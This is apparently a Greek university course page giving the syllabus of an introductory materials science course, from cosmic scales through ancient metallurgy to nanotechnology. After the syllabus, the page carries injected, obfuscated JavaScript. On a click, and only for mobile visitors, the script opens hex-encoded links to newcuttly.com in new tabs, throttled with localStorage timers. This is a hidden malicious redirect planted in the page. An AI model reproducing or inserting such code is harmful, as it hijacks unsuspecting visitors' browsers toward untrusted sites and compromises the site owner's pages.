Εισαγωγικά Θέματα Επιστήμης των Υλικών

 

> ΙΣΤΟΣΕΛΙΔΑ Μαθήματος  στο Eclass <

 

> ΙΣΤΟΣΕΛΙΔΑ ΜΑΘΗΜΑΤΟΣ στο Upatras <

 

ΑΠΟ ΤΟΝ ΜΑΚΡΟΚΟΣΜΟ ΣΤΟΝ ΜΙΚΡΟΚΟΣΜΟ

 

Το σύμπαν και οι γαλαξίες. Ο ήλιος και το πλανητικό σύστημα. Η ύλη και οι διαστάσεις στον μακρόκοσμο. Η ακτινοβολία του ήλιου, πηγή ενέργειας και ζωής. Ένας τεχνητός δορυφόρος βλέπει με το τηλεσκόπιο του την Γη από το διάστημα. Οι διαστάσεις των αντικειμένων της καθημερινής ζωής. Η ατμόσφαιρα, τα αέρια της, τα μόρια και τα άτομα. Οι θάλασσες, το υγρά στοιχεία. Η στεριά, τα βουνά, τα στερεά υλικά. Ένα οπτικό μικροσκόπιο αναλύει ένα φυσικό πέτρωμα. Το ηλεκτρονικό μικροσκόπιο βλέπει τον μικρόκοσμο. Εικόνες από ηλεκτρονικό μικροσκόπιο διέλευσης δείχνει την ατομική δομή. Οι διαστάσεις του μικρόκοσμου και της δομής της ύλης.

 

Η ΖΩΗ, Ο ΑΝΘΡΩΠΟΣ ΚΑΙ ΤΑ ΠΡΩΤΑ ΕΡΓΑΛΕΙΑ

 

Η ζωή στην Γη. Οξυγόνο, ακτινοβολία, κύτταρα, ζώντες οργανισμοί στο φυσικό περιβάλλον. Ύλη, ενέργεια και ζωή. Ο άνθρωπος στην προϊστορική περίοδο. Χρονολογική εξέλιξη από την παλαιολιθική εποχή ως την εποχή του σιδήρου. Τα πρώτα υλικά. Πέτρες και οστά ζώων. Ραδιενέργεια. Δομή και φυσικές ιδιότητες των υλικών της γης. Μηχανικές ιδιότητες και τα πρώτα εργαλεία στην υπηρεσία του ανθρώπου.

 

ΥΛΙΚΑ ΚΑΙ ΤΕΧΝΟΛΟΓΙΑ ΣΤΗΝ ΑΡΧΑΙΟΤΗΤΑ

 

Υλικά και στην ανάπτυξη των πρώτων πολιτισμών. Φυσικές ιδιότητες των υλικών. Παραγωγή και επεξεργασία υλικών στην κλασσική αρχαιότητα. Τα δομικά υλικά και οι ιδιότητες τους. Η πέτρα, το μάρμαρο, το ξύλο, ο μόλυβδος, ο χαλκός και ο σίδηρος στο μικροσκόπιο: ιδιότητες και δομή. Η χύτευση και η σκλήρυνση του μετάλλου. Ο πηλός, τα κεραμικά υλικά και οι ύαλοι στην αρχαιότητα: δομή και ιδιότητες. Η παραγωγή και η βαφή των αγγείων με νανοϋλικά. Το πλασμονικό υλικό στο φωτόμετρο και το ηλεκτρονικό μικροσκόπιο. Εργαλεία και πρώτες μηχανές. Μοχλοί, θερμικές ιδιότητες, αντοχή υλικών. Επεξεργασία υλικών από τη Ρωμαϊκή εποχή και το Βυζάντιο στον μεσαίωνα. Η αναγέννηση ως η απαρχή της σύγχρονης επιστήμης και τεχνολογίας των υλικών. Αυτοκινούμενες επίγειες και πτητικές μηχανές. Οι υπολογιστικές μηχανές. 

 

Η ΒΙΟΜΗΧΑΝΙΚΗ ΕΠΑΝΑΣΤΑΣΗ - ΑΝΑΠΤΥΞΗ ΜΕΤΑΛΛΟΥΡΓΙΑΣ

 

Η βιομηχανική επανάσταση. Τα μέταλλα και οι ιδιότητες τους. Μεταλλουργία, κράματα, χύτευση και μορφοποίηση του μετάλλου. Η κόψη του ξυραφιού στο ηλεκτρονικό μικροσκόπιο. Η μεταλλική δομή και οι ιδιότητες των βιομηχανικών μετάλλων. Η εξέλιξη της μηχανικής και της θερμοδυναμικής. Οι μηχανές και οι θερμικοί κύκλοι. Υλικά και βιομηχανικές τεχνολογίες. Από το τρένο στην μικρομηχανική των ωρολογοποιών: Σύγκριση διαστάσεων, δυνάμεων και τεχνικών. Τεχνικοοικονομικά στοιχεία παραγωγής υλικών και σχετικών βιομηχανικών προϊόντων. Από το πρώτο τρένο στα σύγχρονα αυτοκίνητα και αεροπλάνα. Οι κοινωνικές και οικονομικές επιπτώσεις της βιομηχανικής επανάστασης.

 

Η ΕΠΑΝΑΣΤΑΣΗ ΤΩΝ ΥΛΙΚΩΝ ΚΑΙ ΤΗΣ ΤΕΧΝΟΛΟΓΙΑΣ ΤΟΥ 20ου ΑΙΩΝΑ

 

Ηλεκτρικά και μαγνητικά υλικά, ηλεκτρικές μηχανές και παραγωγή ενέργειας. Ιδιότητες και κβαντική δομή των υλικών: άτομα, μόρια και στερεά. Το άτομο του Bohr, η αρχή της αβεβαιότητας του Heisenberg και η εξίσωση του Schrödinger. Το φωτόνιο στην υπηρεσία των υλικών. Φασματοσκοπική ανάλυση. Κρυσταλλικότητα και περίθλαση ακτίνων-Χ. Χημική σύνθεση υλικών. Η επανάσταση του πολυμερισμού. Φυσικές και χημικές ιδιότητες των πολυμερών. Βιομοριακά υλικά και βιοϋλικά, ιδιότητες και εφαρμογές στην ιατρική. Παραδείγματα σύνθετων υλικών από την φύση και την αεροδιαστημική τεχνολογία. Η ανάγκη αυτόματων μαθηματικών υπολογισμών και επικοινωνιών. Από τον μηχανισμό των Αντικυθήρων στους σύγχρονους ηλεκτρονικούς υπερ-υπολογιστές. Η επανάσταση της μικροηλεκτρονικής. Ηλεκτρικές και οπτικές ιδιότητες των υλικών. Ημιαγωγικά υλικά, ενεργειακές ζώνες, ηλεκτρονικές και οπτικές ιδιότητες. Από το τρανζίστορ στην ηλεκτρονική ολοκλήρωση υπερ-ευρείας κλίμακας (ULSI). Υπεραγωγοί και τεχνολογία υψηλών ηλεκτρομαγνητικών πεδίων για την μαγνητική τομογραφία, την παραγωγή ενέργειας και τα υπερταχέα τρένα.

 

Ο 21ος ΑΙΩΝΑΣ ΤΗΣ ΠΛΗΡΟΦΟΡΙΑΣ ΚΑΙ ΤΗΣ ΝΑΝΟΤΕΧΝΟΛΟΓΙΑΣ

 

Υλικά που παράγουν και χειρίζονται το φως στην υπηρεσία του ανθρώπου. Λέιζερς: από την βαριά ναυπηγική βιομηχανία στην νανο-επεξεργασία υλικών και την βιο-ιατρική. Οπτικά υλικά στην παραγωγή ενέργειας και τις τεχνολογίες της πληροφορίας. Φωτοβολταϊκή παραγωγή ενέργειας. Οπτικές ίνες και οπτικές τηλεπικοινωνίες: ο παγκόσμιος ιστός προϊόν της τεχνολογίας των υλικών. Νανοϋλικά και πρωτόγνωρες ιδιότητες της νανοδομημένης ύλης. Πλασμόνια και κβαντικές ψηφίδες. Ηλεκτρονικές και φωτονικές ιδιότητες στον νανόκοσμο. Νανοτεχνολογία, μέθοδοι, νέα προϊόντα στην υπηρεσία του ανθρώπου: βιομηχανική παραγωγή, επικοινωνίες, υγεία. Το μελλοντικό τεχνολογικό και φυσικό περιβάλλον.

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x74\x4e\x46\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x50\x5a\x6c\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x42\x63\x41\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x77\x42\x53\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x63\x43\x47\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x77\x61\x76\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4a\x52\x5a\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4b\x76\x67\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4e\x51\x72\x30\x63\x380','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x57\x70\x73\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());